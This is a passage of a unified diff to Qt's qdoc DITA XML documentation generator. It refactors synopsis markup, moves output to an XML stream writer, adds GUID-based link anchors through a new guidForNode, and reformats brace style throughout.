+  node if needed, and mark up the synopsis using \a marker.
+  Use the style to decide which kind of sysnopsis to build,
+  normally \c Summary or \c Detailed. Return the marked up
+  string.
+ */
+QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node,
+                                              const Node* relative,
+                                              CodeMarker* marker,
+                                              CodeMarker::SynopsisStyle style)
 {
     QString marked = marker->markedUpSynopsis(node, relative, style);
-    QRegExp templateTag("(<[^@>]*>)");
-    if (marked.indexOf(templateTag) != -1) {
-        QString contents = protectEnc(marked.mid(templateTag.pos(1),
-                                              templateTag.cap(1).length()));
-        marked.replace(templateTag.pos(1), templateTag.cap(1).length(),
-                        contents);
+    QRegExp tag("(<[^@>]*>)");
+    if (marked.indexOf(tag) != -1) {
+        QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length()));
+        marked.replace(tag.pos(1), tag.cap(1).length(), tmp);
     }
     marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"),
                    "<i>\\1<sub>\\2</sub></i>");
-    marked.replace("<@param>", "<i>");
-    marked.replace("</@param>", "</i>");
-
+#if 0    
+    marked.replace("<@param>","<i>");
+    marked.replace("</@param>","</i>");
+#endif
     if (style == CodeMarker::Summary) {
-        marked.replace("<@name>", "");   // was "<b>"
-        marked.replace("</@name>", "");  // was "</b>"
+        marked.replace("<@name>","");   // was "<b>"
+        marked.replace("</@name>","");  // was "</b>"
     }
 
     if (style == CodeMarker::SeparateList) {
         QRegExp extraRegExp("<@extra>.*</@extra>");
         extraRegExp.setMinimal(true);
-        marked.replace(extraRegExp, "");
-    } else {
-        marked.replace("<@extra>", "<tt>");
-        marked.replace("</@extra>", "</tt>");
+        marked.replace(extraRegExp,"");
     }
+#if 0    
+    else {
+        marked.replace("<@extra>","<tt>");
+        marked.replace("</@extra>","</tt>");
+    }
+#endif    
 
     if (style != CodeMarker::Detailed) {
-        marked.replace("<@type>", "");
-        marked.replace("</@type>", "");
+        marked.replace("<@type>","");
+        marked.replace("</@type>","");
     }
-    out() << highlightedCode(marked, marker, relative, style, nameAlignment);
+    return marked;
 }
 
-QString DitaXmlGenerator::highlightedCode(const QString& markedCode,
-                                       CodeMarker *marker,
-                                       const Node *relative,
-                                       CodeMarker::SynopsisStyle ,
-                                       bool nameAlignment)
+/*!
+  Renamed from highlightedCode() in the html generator. Writes
+  the \a markedCode to the current XML stream.
+ */
+void DitaXmlGenerator::writeText(const QString& markedCode,
+                                 CodeMarker* marker,
+                                 const Node* relative)
 {
     QString src = markedCode;
     QString html;
@@ -3073,130 +3217,29 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode,
     const QChar charLangle = '<';
     const QChar charAt = '@';
 
-    // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)"
-    static const QString linkTag("link");
-    bool done = false;
-    for (int i = 0, n = src.size(); i < n;) {
-        if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') {
-            if (nameAlignment && !done) {// && (i != 0)) Why was this here?
-                html += "</td><td class=\"memItemRight bottomAlign\">";
-                done = true;
-            }
-            i += 2;
-            if (parseArg(src, linkTag, &i, n, &arg, &par1)) {
-                html += "<b>";
-                QString link = linkForNode(
-                    CodeMarker::nodeForString(par1.toString()), relative);
-                addLink(link, arg, &html);
-                html += "</b>";
-            }
-            else {
-                html += charLangle;
-                html += charAt;
-            }
-        }
-        else {
-            html += src.at(i++);
-        }
-    }
-
-
-    if (slow) {
-        // is this block ever used at all?
-        // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)"
-        src = html;
-        html = QString();
-        static const QString funcTag("func");
-        for (int i = 0, n = src.size(); i < n;) {
-            if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
-                i += 2;
-                if (parseArg(src, funcTag, &i, n, &arg, &par1)) {
-                    QString link = linkForNode(
-                            marker->resolveTarget(par1.toString(),
-                                                  myTree,
-                                                  relative),
-                            relative);
-                    addLink(link, arg, &html);
-                    par1 = QStringRef();
-                }
-                else {
-                    html += charLangle;
-                    html += charAt;
-                }
-            }
-            else {
-                html += src.at(i++);
-            }
-        }
-    }
-
-    // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags
-    src = html;
-    html = QString();
-    static const QString typeTags[] = { "type", "headerfile", "func" };
-    for (int i = 0, n = src.size(); i < n;) {
-        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
-            i += 2;
-            bool handled = false;
-            for (int k = 0; k != 3; ++k) {
-                if (parseArg(src, typeTags[k], &i, n, &arg, &par1)) {
-                    par1 = QStringRef();
-                    QString link = linkForNode(
-                            marker->resolveTarget(arg.toString(), myTree, relative),
-                            relative);
-                    addLink(link, arg, &html);
-                    handled = true;
-                    break;
-                }
-            }
-            if (!handled) {
-                html += charLangle;
-                html += charAt;
-            }
-        }
-        else {
-            html += src.at(i++);
-        }
-    }
-
-    // replace all
-    // "<@comment>" -> "<span class=\"comment\">";
-    // "<@preprocessor>" -> "<span class=\"preprocessor\">";
-    // "<@string>" -> "<span class=\"string\">";
-    // "<@char>" -> "<span class=\"char\">";
-    // "</@(?:comment|preprocessor|string|char)>" -> "</span>"
-    src = html;
-    html = QString();
+    /*
+      First strip out all the extraneous markup. The table
+      below contains the markup we want to keep. Everything
+      else that begins with "<@" or "</@" is stripped out.
+     */
     static const QString spanTags[] = {
-        "<@comment>",      "<span class=\"comment\">",
-        "<@preprocessor>", "<span class=\"preprocessor\">",
-        "<@string>",       "<span class=\"string\">",
-        "<@char>",         "<span class=\"char\">",
-        "</@comment>",     "</span>",
-        "</@preprocessor>","</span>",
-        "</@string>",      "</span>",
-        "</@char>",        "</span>"
-        // "<@char>",      "<font color=blue>",
-        // "</@char>",     "</font>",
-        // "<@func>",      "<font color=green>",
-        // "</@func>",     "</font>",
-        // "<@id>",        "<i>",
-        // "</@id>",       "</i>",
-        // "<@keyword>",   "<b>",
-        // "</@keyword>",  "</b>",
-        // "<@number>",    "<font color=yellow>",
-        // "</@number>",   "</font>",
-        // "<@op>",        "<b>",
-        // "</@op>",       "</b>",
-        // "<@param>",     "<i>",
-        // "</@param>",    "</i>",
-        // "<@string>",    "<font color=green>",
-        // "</@string>",  "</font>",
+        "<@link ",         "<@link ",
+        "<@type>",         "<@type>",
+        "<@headerfile>",   "<@headerfile>",
+        "<@func>",         "<@func>",
+        "<@param>",        "<@param>",
+        "<@extra>",        "<@extra>",
+        "</@link>",        "</@link>",
+        "</@type>",        "</@type>",
+        "</@headerfile>",  "</@headerfile>",
+        "</@func>",        "</@func>",
+        "</@param>",        "</@param>",
+        "</@extra>",        "</@extra>"
     };
     for (int i = 0, n = src.size(); i < n;) {
         if (src.at(i) == charLangle) {
             bool handled = false;
-            for (int k = 0; k != 8; ++k) {
+            for (int k = 0; k != 12; ++k) {
                 const QString & tag = spanTags[2 * k];
                 if (tag == QStringRef(&src, i, tag.length())) {
                     html += spanTags[2 * k + 1];
@@ -3226,45 +3269,120 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode,
         }
     }
 
-    return html;
+    // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)"
+    // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags
+    src = html;
+    html = QString();
+    static const QString markTags[] = {
+        // 0       1         2           3       4        5
+        "link", "type", "headerfile", "func", "param", "extra"
+    };
+
+    for (int i = 0, n = src.size(); i < n;) {
+        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+            i += 2;
+            bool handled = false;
+            for (int k = 0; k != 6; ++k) {
+                if (parseArg(src, markTags[k], &i, n, &arg, &par1)) {
+                    const Node* n = 0;
+                    if (k == 0) { // <@link>
+                        if (!html.isEmpty()) {
+                            writeCharacters(html);
+                            html.clear();
+                        }
+                        n = CodeMarker::nodeForString(par1.toString());
+                        QString link = linkForNode(n, relative);
+                        addLink(link, arg);
+                    }
+                    else if (k == 4) { // <@param>
+                        if (!html.isEmpty()) {
+                            writeCharacters(html);
+                            html.clear();
+                        }
+                        xmlWriter().writeStartElement("i");
+                        writeCharacters(arg.toString());
+                        xmlWriter().writeEndElement(); // </i>
+                    }
+                    else if (k == 5) { // <@extra>
+                        if (!html.isEmpty()) {
+                            writeCharacters(html);
+                            html.clear();
+                        }
+                        xmlWriter().writeStartElement("tt");
+                        writeCharacters(arg.toString());
+                        xmlWriter().writeEndElement(); // </tt>
+                    }
+                    else {
+                        if (!html.isEmpty()) {
+                            writeCharacters(html);
+                            html.clear();
+                        }
+                        par1 = QStringRef();
+                        QString link;
+                        n = marker->resolveTarget(arg.toString(), myTree, relative);
+                        if (n && n->subType() == Node::QmlBasicType) {
+                            if (relative && relative->subType() == Node::QmlClass) {
+                                link = linkForNode(n,relative);
+                                addLink(link, arg);
+                            }
+                            else {
+                                link = arg.toString();
+                            }
+                        }
+                        else {
+                            // (zzz) Is this correct for all cases?
+                            link = linkForNode(n,relative);
+                            addLink(link, arg);
+                        }
+                    }
+                    handled = true;
+                    break;
+                }
+            }
+        }
+        else {
+            html += src.at(i++);
+        }
+    }
+
+    if (!html.isEmpty()) {
+        writeCharacters(html);
+    }
 }
 
 void DitaXmlGenerator::generateLink(const Atom* atom,
-                                 const Node* /* relative */,
-                                 CodeMarker* marker)
+                                    const Node* /* relative */,
+                                    CodeMarker* marker)
 {
     static QRegExp camelCase("[A-Z][A-Z][a-z]|[a-z][A-Z0-9]|_");
 
     if (funcLeftParen.indexIn(atom->string()) != -1 && marker->recognizeLanguage("Cpp")) {
         // hack for C++: move () outside of link
         int k = funcLeftParen.pos(1);
-        writer.writeCharacters(protectEnc(atom->string().left(k)));
+        writeCharacters(protectEnc(atom->string().left(k)));
         if (link.isEmpty()) {
             if (showBrokenLinks)
-                writer.writeEndElement(); // </i>
-        }
-        else {
-            writer.writeEndElement(); // </xref>
+                xmlWriter().writeEndElement(); // </i>
         }
+        else
+            xmlWriter().writeEndElement(); // </xref>
         inLink = false;
-        writer.writeCharacters(protectEnc(atom->string().mid(k)));
-    } else if (marker->recognizeLanguage("Java")) {
+        writeCharacters(protectEnc(atom->string().mid(k)));
+    }
+    else if (marker->recognizeLanguage("Java")) {
 	// hack for Java: remove () and use <tt> when appropriate
         bool func = atom->string().endsWith("()");
         bool tt = (func || atom->string().contains(camelCase));
         if (tt)
-            writer.writeStartElement("tt");
-        if (func) {
-            writer.writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2)));
-        }
-        else {
-            writer.writeCharacters(protectEnc(atom->string()));
-        }
-        writer.writeEndElement(); // </tt>
-    }
-    else {
-        writer.writeCharacters(protectEnc(atom->string()));
+            xmlWriter().writeStartElement("tt");
+        if (func)
+            writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2)));
+        else
+            writeCharacters(protectEnc(atom->string()));
+        xmlWriter().writeEndElement(); // </tt>
     }
+    else
+        writeCharacters(protectEnc(atom->string()));
 }
 
 QString DitaXmlGenerator::cleanRef(const QString& ref)
@@ -3279,14 +3397,17 @@ QString DitaXmlGenerator::cleanRef(const QString& ref)
     const uint u = c.unicode();
 
     if ((u >= 'a' && u <= 'z') ||
-         (u >= 'A' && u <= 'Z') ||
-         (u >= '0' && u <= '9')) {
+        (u >= 'A' && u <= 'Z') ||
+        (u >= '0' && u <= '9')) {
         clean += c;
-    } else if (u == '~') {
+    }
+    else if (u == '~') {
         clean += "dtor.";
-    } else if (u == '_') {
+    }
+    else if (u == '_') {
         clean += "underscore.";
-    } else {
+    }
+    else {
         clean += "A";
     }
 
@@ -3294,25 +3415,33 @@ QString DitaXmlGenerator::cleanRef(const QString& ref)
         const QChar c = ref[i];
         const uint u = c.unicode();
         if ((u >= 'a' && u <= 'z') ||
-             (u >= 'A' && u <= 'Z') ||
-             (u >= '0' && u <= '9') || u == '-' ||
-             u == '_' || u == ':' || u == '.') {
+            (u >= 'A' && u <= 'Z') ||
+            (u >= '0' && u <= '9') || u == '-' ||
+            u == '_' || u == ':' || u == '.') {
             clean += c;
-        } else if (c.isSpace()) {
+        }
+        else if (c.isSpace()) {
             clean += "-";
-        } else if (u == '!') {
+        }
+        else if (u == '!') {
             clean += "-not";
-        } else if (u == '&') {
+        }
+        else if (u == '&') {
             clean += "-and";
-        } else if (u == '<') {
+        }
+        else if (u == '<') {
             clean += "-lt";
-        } else if (u == '=') {
+        }
+        else if (u == '=') {
             clean += "-eq";
-        } else if (u == '>') {
+        }
+        else if (u == '>') {
             clean += "-gt";
-        } else if (u == '#') {
+        }
+        else if (u == '#') {
             clean += "#";
-        } else {
+        }
+        else {
             clean += "-";
             clean += QString::number((int)u, 16);
         }
@@ -3329,20 +3458,27 @@ QString DitaXmlGenerator::registerRef(const QString& ref)
         if (prevRef.isEmpty()) {
             prevRef = ref;
             break;
-        } else if (prevRef == ref) {
-            break;
         }
+        else if (prevRef == ref)
+            break;
+#if 0        
+        else
+            qDebug() << "PREVREF:" << prevRef;
+#endif        
         clean += "x";
     }
     return clean;
 }
 
-QString DitaXmlGenerator::protectEnc(const QString &string)
+/*!
+  Calls protect() with the \a string. Returns the result.
+ */
+QString DitaXmlGenerator::protectEnc(const QString& string)
 {
     return protect(string, outputEncoding);
 }
 
-QString DitaXmlGenerator::protect(const QString &string, const QString &outputEncoding)
+QString DitaXmlGenerator::protect(const QString& string, const QString& outputEncoding)
 {
 #define APPEND(x) \
     if (xml.isEmpty()) { \
@@ -3359,20 +3495,25 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn
 
         if (ch == QLatin1Char('&')) {
             APPEND("&amp;");
-        } else if (ch == QLatin1Char('<')) {
+        }
+        else if (ch == QLatin1Char('<')) {
             APPEND("&lt;");
-        } else if (ch == QLatin1Char('>')) {
+        }
+        else if (ch == QLatin1Char('>')) {
             APPEND("&gt;");
-        } else if (ch == QLatin1Char('"')) {
+        }
+        else if (ch == QLatin1Char('"')) {
             APPEND("&quot;");
-        } else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F)
-                   || (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/'))
-                   || (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) {
+        }
+        else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F) ||
+                 (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/')) ||
+                 (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) {
             // we escape '*/' and the last dot in 'e.g.' and 'i.e.' for the Javadoc generator
             APPEND("&#x");
             xml += QString::number(ch.unicode(), 16);
             xml += QLatin1Char(';');
-        } else {
+        }
+        else {
             if (!xml.isEmpty())
                 xml += ch;
         }
@@ -3385,12 +3526,15 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn
 #undef APPEND
 }
 
-QString DitaXmlGenerator::fileBase(const Node *node)
+/*!
+  Constructs a file name appropriate for the \a node
+  and returns the file name.
+ */
+QString DitaXmlGenerator::fileBase(const Node* node) const
 {
     QString result;
-
     result = PageGenerator::fileBase(node);
-
+#if 0    
     if (!node->isInnerNode()) {
         switch (node->status()) {
         case Node::Compat:
@@ -3403,47 +3547,14 @@ QString DitaXmlGenerator::fileBase(const Node *node)
             ;
         }
     }
+#endif    
     return result;
 }
 
-#if 0
-QString DitaXmlGenerator::fileBase(const Node *node,
-                                const SectionIterator& section)
+QString DitaXmlGenerator::refForNode(const Node* node)
 {
-    QStringList::ConstIterator s = section.sectionNumber().end();
-    QStringList::ConstIterator b = section.baseNameStack().end();
-
-    QString suffix;
-    QString base = fileBase(node);
-
-    while (s != section.sectionNumber().begin()) {
-        --s;
-        --b;
-        if (!(*b).isEmpty()) {
-            base = *b;
-            break;
-        }
-        suffix.prepend("-" + *s);
-    }
-    return base + suffix;
-}
-#endif
-
-QString DitaXmlGenerator::fileName(const Node *node)
-{
-    if (node->type() == Node::Fake) {
-        if (static_cast<const FakeNode *>(node)->subType() == Node::ExternalPage)
-            return node->name();
-        if (static_cast<const FakeNode *>(node)->subType() == Node::Image)
-            return node->name();
-    }
-    return PageGenerator::fileName(node);
-}
-
-QString DitaXmlGenerator::refForNode(const Node *node)
-{
-    const FunctionNode *func;
-    const TypedefNode *typedeffe;
+    const FunctionNode* func;
+    const TypedefNode* tdn;
     QString ref;
 
     switch (node->type()) {
@@ -3455,9 +3566,9 @@ QString DitaXmlGenerator::refForNode(const Node *node)
         ref = node->name() + "-enum";
         break;
     case Node::Typedef:
-        typedeffe = static_cast<const TypedefNode *>(node);
-        if (typedeffe->associatedEnum()) {
-            return refForNode(typedeffe->associatedEnum());
+        tdn = static_cast<const TypedefNode *>(node);
+        if (tdn->associatedEnum()) {
+            return refForNode(tdn->associatedEnum());
         }
         else {
             ref = node->name() + "-typedef";
@@ -3474,23 +3585,19 @@ QString DitaXmlGenerator::refForNode(const Node *node)
                 ref += "-" + QString::number(func->overloadNumber());
         }
         break;
-#ifdef QDOC_QML        
     case Node::Fake:
         if (node->subType() != Node::QmlPropertyGroup)
             break;
     case Node::QmlProperty:
-#endif        
     case Node::Property:
         ref = node->name() + "-prop";
         break;
-#ifdef QDOC_QML
     case Node::QmlSignal:
         ref = node->name() + "-signal";
         break;
     case Node::QmlMethod:
         ref = node->name() + "-method";
         break;
-#endif        
     case Node::Variable:
         ref = node->name() + "-var";
         break;
@@ -3500,12 +3607,74 @@ QString DitaXmlGenerator::refForNode(const Node *node)
     return registerRef(ref);
 }
 
-QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative)
+QString DitaXmlGenerator::guidForNode(const Node* node)
 {
-    QString link;
-    QString fn;
-    QString ref;
+    switch (node->type()) {
+    case Node::Namespace:
+    case Node::Class:
+    default:
+        break;
+    case Node::Enum:
+        return node->guid();
+    case Node::Typedef:
+        {
+            const TypedefNode* tdn = static_cast<const TypedefNode*>(node);
+            if (tdn->associatedEnum()) 
+                return guidForNode(tdn->associatedEnum());
+        }
+        return node->guid();
+    case Node::Function:
+        {
+            const FunctionNode* fn = static_cast<const FunctionNode*>(node);
+            if (fn->associatedProperty()) {
+                return guidForNode(fn->associatedProperty());
+            }
+            else {
+                QString ref = fn->name();
+                if (fn->overloadNumber() != 1) {
+                    ref += "-" + QString::number(fn->overloadNumber());
+                    //qDebug() << "guidForNode() overloaded function:" << outFileName() << ref;
+                }
+            }
+            return fn->guid();
+        }
+    case Node::Fake:
+        if (node->subType() != Node::QmlPropertyGroup)
+            break;
+    case Node::QmlProperty:
+    case Node::Property:
+        return node->guid();
+    case Node::QmlSignal:
+        return node->guid();
+    case Node::QmlMethod:
+        return node->guid();
+    case Node::Variable:
+        return node->guid();
+    case Node::Target:
+        return node->guid();
+    }
+    return QString();
+}
 
+/*!
+  Constructs a file name appropriate for the \a node and returns
+  it. If the \a node is not a fake node, or if it is a fake node but
+  it is neither an external page node nor an image node, call the
+  PageGenerator::fileName() function.
+ */
+QString DitaXmlGenerator::fileName(const Node* node)
+{
+    if (node->type() == Node::Fake) {
+        if (static_cast<const FakeNode*>(node)->subType() == Node::ExternalPage)
+            return node->name();
+        if (static_cast<const FakeNode*>(node)->subType() == Node::Image)
+            return node->name();
+    }
+    return PageGenerator::fileName(node);
+}
+
+QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative)
+{
     if (node == 0 || node == relative)
         return QString();
     if (!node->url().isEmpty())
@@ -3515,132 +3684,44 @@ QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative)
     if (node->access() == Node::Private)
         return QString();
 
-    fn = fileName(node);
-    link += fn;
+    QString fn = fileName(node);
+    QString link = fn;
 
     if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) {
-        ref = refForNode(node);
-        if (relative && fn == fileName(relative) && ref == refForNode(relative))
+        QString guid = guidForNode(node);
+        if (relative && fn == fileName(relative) && guid == guidForNode(relative)) {
             return QString();
-
+        }
         link += "#";
-        link += ref;
+        link += guid;
     }
     return link;
 }
 
-QString DitaXmlGenerator::refForAtom(Atom *atom, const Node * /* node */)
+QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */)
 {
-    if (atom->type() == Atom::SectionLeft) {
+    if (atom->type() == Atom::SectionLeft)
         return Doc::canonicalTitle(Text::sectionHeading(atom).toString());
-    }
-    else if (atom->type() == Atom::Target) {
+    if (atom->type() == Atom::Target)
         return Doc::canonicalTitle(atom->string());
-    }
-    else {
-        return QString();
-    }
+    return QString();
 }
 
-void DitaXmlGenerator::generateFullName(const Node *apparentNode,
-                                     const Node *relative,
-                                     CodeMarker *marker,
-                                     const Node *actualNode)
+void DitaXmlGenerator::generateFullName(const Node* apparentNode,
+                                        const Node* relative,
+                                        CodeMarker* marker,
+                                        const Node* actualNode)
 {
     if (actualNode == 0)
         actualNode = apparentNode;
-    out() << "<xref href=\"" << linkForNode(actualNode, relative);
-    if (true || relative == 0 || relative->status() != actualNode->status()) {
-        switch (actualNode->status()) {
-        case Node::Obsolete:
-            out() << "\" class=\"obsolete";
-            break;
-        case Node::Compat:
-            out() << "\" class=\"compat";
-            break;
-        default:
-            ;
-        }
-    }
-    out() << "\">";
-    out() << protectEnc(fullName(apparentNode, relative, marker));
-    out() << "</xref>";
+    xmlWriter().writeStartElement("xref");
+    QString href = linkForNode(actualNode, relative);
+    xmlWriter().writeAttribute("href",href);
+    writeCharacters(protectEnc(fullName(apparentNode, relative, marker)));
+    xmlWriter().writeEndElement(); // </xref>
 }
 
-void DitaXmlGenerator::generateDetailedMember(const Node *node,
-                                           const InnerNode *relative,
-                                           CodeMarker *marker)
-{
-    const EnumNode *enume;
-
-#ifdef GENERATE_MAC_REFS    
-    generateMacRef(node, marker);
-#endif    
-    if (node->type() == Node::Enum
-            && (enume = static_cast<const EnumNode *>(node))->flagsType()) {
-#ifdef GENERATE_MAC_REFS    
-        generateMacRef(enume->flagsType(), marker);
-#endif        
-        out() << "<h3 class=\"flags\">";
-        out() << "<a name=\"" + refForNode(node) + "\"></a>";
-        generateSynopsis(enume, relative, marker, CodeMarker::Detailed);
-        out() << "<br/>";
-        generateSynopsis(enume->flagsType(),
-                         relative,
-                         marker,
-                         CodeMarker::Detailed);
-        out() << "</h3>\n";
-    }
-    else {
-        out() << "<h3 class=\"fn\">";
-        out() << "<a name=\"" + refForNode(node) + "\"></a>";
-        generateSynopsis(node, relative, marker, CodeMarker::Detailed);
-        out() << "</h3>\n";
-    }
-
-    generateStatus(node, marker);
-    generateBody(node, marker);
-    generateThreadSafeness(node, marker);
-    generateSince(node, marker);
-
-    if (node->type() == Node::Property) {
-        const PropertyNode *property = static_cast<const PropertyNode *>(node);
-        Section section;
-
-        section.members += property->getters();
-        section.members += property->setters();
-        section.members += property->resetters();
-
-        if (!section.members.isEmpty()) {
-            out() << "<p><b>Access functions:</b></p>\n";
-            generateSectionList(section, node, marker, CodeMarker::Accessors);
-        }
-
-        Section notifiers;
-        notifiers.members += property->notifiers();
-        
-        if (!notifiers.members.isEmpty()) {
-            out() << "<p><b>Notifier signal:</b></p>\n";
-            //out() << "<p>This signal is emitted when the property value is changed.</p>\n";
-            generateSectionList(notifiers, node, marker, CodeMarker::Accessors);
-        }
-    }
-    else if (node->type() == Node::Enum) {
-        const EnumNode *enume = static_cast<const EnumNode *>(node);
-        if (enume->flagsType()) {
-            out() << "<p>The " << protectEnc(enume->flagsType()->name())
-                  << " type is a typedef for "
-                  << "<xref href=\"qflags.html\">QFlags</xref>&lt;"
-                  << protectEnc(enume->name())
-                  << "&gt;. It stores an OR combination of "
-                  << protectEnc(enume->name())
-                  << " values.</p>\n";
-        }
-    }
-    generateAlsoList(node, marker);
-}
-
-void DitaXmlGenerator::findAllClasses(const InnerNode *node)
+void DitaXmlGenerator::findAllClasses(const InnerNode* node)
 {
     NodeList::const_iterator c = node->childNodes().constBegin();
     while (c != node->childNodes().constEnd()) {
@@ -3694,10 +3775,10 @@ void DitaXmlGenerator::findAllClasses(const InnerNode *node)
 }
 
 /*!
-  For generating the "New Classes... in 4.6" section on the
-  What's New in 4.6" page.
+  For generating the "New Classes... in 4.x" section on the
+  What's New in 4.x" page.
  */
-void DitaXmlGenerator::findAllSince(const InnerNode *node)
+void DitaXmlGenerator::findAllSince(const InnerNode* node)
 {
     NodeList::const_iterator child = node->childNodes().constBegin();
     while (child != node->childNodes().constEnd()) {
@@ -3757,24 +3838,18 @@ void DitaXmlGenerator::findAllSince(const InnerNode *node)
     }
 }
 
-#if 0
-    const QRegExp versionSeparator("[\\-\\.]");
-    const int minorIndex = version.indexOf(versionSeparator);
-    const int patchIndex = version.indexOf(versionSeparator, minorIndex+1);
-    version = version.left(patchIndex);
-#endif
-
-void DitaXmlGenerator::findAllFunctions(const InnerNode *node)
+void DitaXmlGenerator::findAllFunctions(const InnerNode* node)
 {
     NodeList::ConstIterator c = node->childNodes().begin();
     while (c != node->childNodes().end()) {
         if ((*c)->access() != Node::Private) {
             if ((*c)->isInnerNode() && (*c)->url().isEmpty()) {
-                findAllFunctions(static_cast<const InnerNode *>(*c));
+                findAllFunctions(static_cast<const InnerNode*>(*c));
             }
             else if ((*c)->type() == Node::Function) {
-                const FunctionNode *func = static_cast<const FunctionNode *>(*c);
+                const FunctionNode* func = static_cast<const FunctionNode*>(*c);
                 if ((func->status() > Node::Obsolete) &&
+                    !func->isInternal() &&
                     (func->metaness() != FunctionNode::Ctor) &&
                     (func->metaness() != FunctionNode::Dtor)) {
                     funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c);
@@ -3785,7 +3860,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode *node)
     }
 }
 
-void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node)
+void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode* node)
 {
     NodeList::ConstIterator c = node->childNodes().begin();
     while (c != node->childNodes().end()) {
@@ -3799,7 +3874,7 @@ void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node)
     }
 }
 
-void DitaXmlGenerator::findAllNamespaces(const InnerNode *node)
+void DitaXmlGenerator::findAllNamespaces(const InnerNode* node)
 {
     NodeList::ConstIterator c = node->childNodes().begin();
     while (c != node->childNodes().end()) {
@@ -3827,7 +3902,7 @@ void DitaXmlGenerator::findAllNamespaces(const InnerNode *node)
     }
 }
 
-int DitaXmlGenerator::hOffset(const Node *node)
+int DitaXmlGenerator::hOffset(const Node* node)
 {
     switch (node->type()) {
     case Node::Namespace:
@@ -3835,12 +3910,6 @@ int DitaXmlGenerator::hOffset(const Node *node)
         return 2;
     case Node::Fake:
         return 1;
-#if 0        
-        if (node->doc().briefText().isEmpty())
-            return 1;
-        else
-            return 2;
-#endif        
     case Node::Enum:
     case Node::Typedef:
     case Node::Function:
@@ -3850,7 +3919,7 @@ int DitaXmlGenerator::hOffset(const Node *node)
     }
 }
 
-bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom)
+bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom* atom)
 {
     while (atom != 0 && !(atom->type() == Atom::ListRight && atom->string() == ATOM_LIST_VALUE)) {
         if (atom->type() == Atom::ListItemLeft && !matchAhead(atom, Atom::ListItemRight))
@@ -3860,12 +3929,12 @@ bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom)
     return false;
 }
 
-const Node *DitaXmlGenerator::findNodeForTarget(const QString &target,
-                                             const Node *relative,
-                                             CodeMarker *marker,
-                                             const Atom *atom)
+const Node* DitaXmlGenerator::findNodeForTarget(const QString& target,
+                                                const Node* relative,
+                                                CodeMarker* marker,
+                                                const Atom* atom)
 {
-    const Node *node = 0;
+    const Node* node = 0;
 
     if (target.isEmpty()) {
         node = relative;
@@ -3889,10 +3958,9 @@ const Node *DitaXmlGenerator::findNodeForTarget(const QString &target,
     return node;
 }
 
-const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node *node)
+const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node* node)
 {
     QPair<QString,QString> anchorPair;
-
     anchorPair.first = PageGenerator::fileName(node);
     if (node->type() == Node::Fake) {
         const FakeNode *fakeNode = static_cast<const FakeNode*>(node);
@@ -3902,36 +3970,34 @@ const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node *node)
     return anchorPair;
 }
 
-QString DitaXmlGenerator::getLink(const Atom *atom,
-                               const Node *relative,
-                               CodeMarker *marker,
-                               const Node** node)
+QString DitaXmlGenerator::getLink(const Atom* atom,
+                                  const Node* relative,
+                                  CodeMarker* marker,
+                                  const Node** node)
 {
     QString link;
     *node = 0;
     inObsoleteLink = false;
 
     if (atom->string().contains(":") &&
-            (atom->string().startsWith("file:")
-             || atom->string().startsWith("http:")
-             || atom->string().startsWith("https:")
-             || atom->string().startsWith("ftp:")
-             || atom->string().startsWith("mailto:"))) {
-
+        (atom->string().startsWith("file:")
+         || atom->string().startsWith("http:")
+         || atom->string().startsWith("https:")
+         || atom->string().startsWith("ftp:")
+         || atom->string().startsWith("mailto:"))) {
+        
         link = atom->string();
     }
     else {
         QStringList path;
-        if (atom->string().contains('#')) {
+        if (atom->string().contains('#'))
             path = atom->string().split('#');
-        }
-        else {
+        else
             path.append(atom->string());
-        }
-
-        Atom *targetAtom = 0;
 
+        Atom* targetAtom = 0;
         QString first = path.first().trimmed();
+
         if (first.isEmpty()) {
             *node = relative;
         }
@@ -3949,51 +4015,36 @@ QString DitaXmlGenerator::getLink(const Atom *atom,
         }
 
         if (*node) {
-            if (!(*node)->url().isEmpty())
+            if (!(*node)->url().isEmpty()) {
                 return (*node)->url();
-            else
+            }
+            else {
                 path.removeFirst();
+            }
         }
         else {
             *node = relative;
         }
 
-        if (*node) {
-            if ((*node)->status() == Node::Obsolete) {
-                if (relative) {
-                    if (relative->parent() != *node) {
